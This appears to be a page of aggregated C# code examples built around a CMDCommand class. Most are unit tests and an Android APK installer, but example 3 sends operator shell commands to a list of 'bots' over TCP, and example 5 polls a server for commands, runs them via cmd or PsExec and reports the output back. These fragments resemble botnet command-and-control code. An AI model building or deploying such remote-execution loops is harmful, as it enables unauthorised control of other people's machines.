Exemplo n.º 1
0
        public void CommandLineExecuteTest()
        {
            CMDCommand cmdCommand = new CMDCommand("echo hello world");

            cmdCommand.Execute(null);
            Assert.IsTrue(cmdCommand.Output.Contains("hello world"));
        }
Exemplo n.º 2
0
        public void AdbCommandTest()
        {
            CMDCommand adbDevicesCommand = new CMDCommand("adb devices");

            adbDevicesCommand.Execute(null);
            LoggingService.Logger.Info(adbDevicesCommand.Output);
        }
Exemplo n.º 3
0
        public async Task <IActionResult> CMD(CMDModel model)
        {
            var method = new BaseCommands
            {
                Method = "CMD"
            };
            var Variables = new CMDVariables
            {
                command = model.command
            };
            var Command = new CMDCommand
            {
                newVariables   = Variables,
                newBaseCommand = method,
            };
            var bots = new GetBotsByStatusQuery
            {
                status = model.Force
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(OverWriterResponse(response, botlist)));
        }
Exemplo n.º 4
0
        public void JreTest()
        {
            CMDCommand javaVersionTest = new CMDCommand("java -version");
            string     errorMessage    = string.Empty;
            bool       hasJava         = true;

            try
            {
                javaVersionTest.Execute(null);
            }
            catch (Exception e)
            {
                hasJava      = false;
                errorMessage = e.Message;
            }
            Assert.IsTrue(hasJava, $"Output: {javaVersionTest.Output} {errorMessage}");
        }
Exemplo n.º 5
0
            static async Task Recive()
            {
                while (true)
                {
                    var Commands = (await GetCommadnsGQL.SendQueryAsync(Helper.Client, new GetCommadnsGQL.Variables {
                        execute_statement = false
                    }))
                                   .Data.Commands;
                    foreach (var command in Commands)
                    {
                        #if DEBUG
                        Console.ForegroundColor = ConsoleColor.Green;
                        Console.WriteLine($"Новая инструкция от {command.username}, типа {command.type}, на время : '{command.time}'");
                        Console.ForegroundColor = ConsoleColor.Red;
                        Console.WriteLine($"Команда : '{command.body}'");
                        #endif

                        // IS THIS KOTLIN?? WOW
                        string outp = command.type switch
                        {
                            CommandType.CMD => CMDCommand.Execute(command.body),
                            CommandType.PSEXEC => PsExecCommand.Execute(command.body),
                            _ => "Тип команды не найден",
                        };


                        // Отправка сообщения на апишку
                        var log = new LogsResolver.Variables
                        {
                            log = new LogsMessageInput()
                            {
                                commandId = command.id,
                                message   = outp,
                                username  = "******"
                            }
                        };

                        await LogsResolver.SendMutationAsync(
                            Helper.Client,
                            log
                            );
                    }
                    await Task.Delay(5000);
                }
            }
Exemplo n.º 6
0
        private ICommand BuildCommand(TypeOfCommand type, string options)
        {
            ICommand command;

            switch (type)
            {
            case TypeOfCommand.CMD:
                command = new CMDCommand(options);
                break;

            case TypeOfCommand.WriteLine:
                command = new ConsoleWriteLineCommand(options);
                break;

            case TypeOfCommand.BatFile:
                command = new RunBatFileCommand(options);
                break;

            default:
                throw new ArgumentException();
            }

            return(command);
        }
        public async Task InstallBuild(string buildPath, DeviceData device)
        {
            if (buildPath == null || !buildPath.EndsWith(".apk"))
            {
                throw new Exception("Only Installing APK builds are supported");
            }

            // Get the package name
            CMDCommand command = new CMDCommand($"aapt dump badging \"{buildPath}\" | findstr -i \"package: name\"");

            command.Execute(null);
            InstallationPackageInfo installationPackage = InstallationPackageInfo.ParseAndroid(command.Output);

            ProgressChanged.Invoke(this, new ProgressChangedEventArgs(20, "Checking If build is already installed"));
            var  packageManager = new PackageManager(_adbClient, device);
            bool reinstall      = false;

            if (packageManager.Packages.ContainsKey(installationPackage.PackageName))
            {
                if (_userPromptHandler != null)
                {
                    reinstall = await _userPromptHandler.Invoke("Build Already Present on Android Device, Reinstall?");

                    if (!reinstall)
                    {
                        return;
                    }
                }
            }

            ProgressChanged.Invoke(this, new ProgressChangedEventArgs(40, "Installing Apk"));
            packageManager.InstallPackage(buildPath, reinstall);


            ProgressChanged.Invoke(this, new ProgressChangedEventArgs(60, "Looking for expansin files"));
            // Look for obb files
            DirectoryInfo buildDirectory = new DirectoryInfo(Path.GetDirectoryName(buildPath));

            FileInfo[]             buildDirectoryFiles = buildDirectory.GetFiles();
            IEnumerable <FileInfo> obbFiles            = buildDirectoryFiles.Where(fileinfo => fileinfo.Extension == ".obb");
            bool copyObbFiles = false;

            if (obbFiles.Count() > 0)
            {
                var expansionFilesFoundMessage = new StringBuilder();
                expansionFilesFoundMessage.AppendLine("Apk expansion files found: ");
                foreach (FileInfo obbFile in obbFiles)
                {
                    expansionFilesFoundMessage.AppendLine($"{obbFile}");
                }
                expansionFilesFoundMessage.Append("Attempt to copy files to the device? Build might not work without expansion files.");
                copyObbFiles = await _userPromptHandler?.Invoke($"Apk Expansion Files Found: {expansionFilesFoundMessage}");
            }

            if (copyObbFiles)
            {
                foreach (var obbFile in obbFiles)
                {
                    using (var syncService = new SyncService(new AdbSocket(new IPEndPoint(IPAddress.Loopback, AdbClient.AdbServerPort)), device))
                    {
                        using (var obbStream = File.OpenRead(obbFile.FullName))
                        {
                            // OBB file name is build by {main/patch}.{versioncode}.{packagename}.obb
                            string fileNamePrefix  = obbFile.Name.Split('.').First();
                            string packageName     = installationPackage.PackageName;
                            string versionCode     = installationPackage.VersionCode;
                            string targetDirectory = $"sdcard/Android/obb/{packageName}";
                            string targetFileName  = $"{fileNamePrefix}.{versionCode}.{packageName}.obb";
                            // Create direcotry on android device if it doesn't exist
                            var adbShellOutputReciever = new ConsoleOutputReceiver();
                            _adbClient.ExecuteShellCommand(device, $"mkdir -p {targetDirectory}", adbShellOutputReciever);
                            LoggingService.Logger.Info($"Device mkdir output: {adbShellOutputReciever}");
                            syncService.Push(obbStream, $"{targetDirectory}/{targetFileName}", 666, DateTime.Now, this, CancellationToken.None);
                        }
                    }
                }
            }
            ProgressChanged.Invoke(this, new ProgressChangedEventArgs(100, "Installing Apk"));
        }